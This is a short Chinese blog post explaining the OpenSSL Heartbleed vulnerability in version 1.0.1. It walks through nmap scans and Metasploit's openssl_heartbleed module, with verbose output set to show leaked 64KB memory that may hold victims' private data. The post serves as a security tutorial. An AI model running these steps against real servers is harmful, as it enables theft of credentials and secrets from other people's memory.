| title | tags | abbrlink | date | ||
|---|---|---|---|---|---|
openssl心脏滴血漏洞 |
|
34537 |
2022-05-25 06:13:51 -0700 |
心脏出血漏洞”是指openssl这个开源软件中的一个漏洞，因为该软件使用到一个叫做heartbeat(中文名称为心跳)的扩展，恰恰是这个扩展出现了问题，所以才将这个漏洞形象的称为“心脏出血”；
OpenSSL 1.0.1版本
nmap -O xxxxx 查看开放端口
nmap xxxx --script=vuln
nmap -sV -p 8443 --script ssl-heartbleed.nse xxxxxx
search heartbleed
use uxiliary/scanner/ssl/openssl_heartbleed
设置一下verbose，让verbose为true这样我们才可以看到泄露的64kb数据
set verbose true
可以看到一些泄露的数据，假如这是被攻击端正在输入一些私密的数据，我们就有可能获取到这些数据了。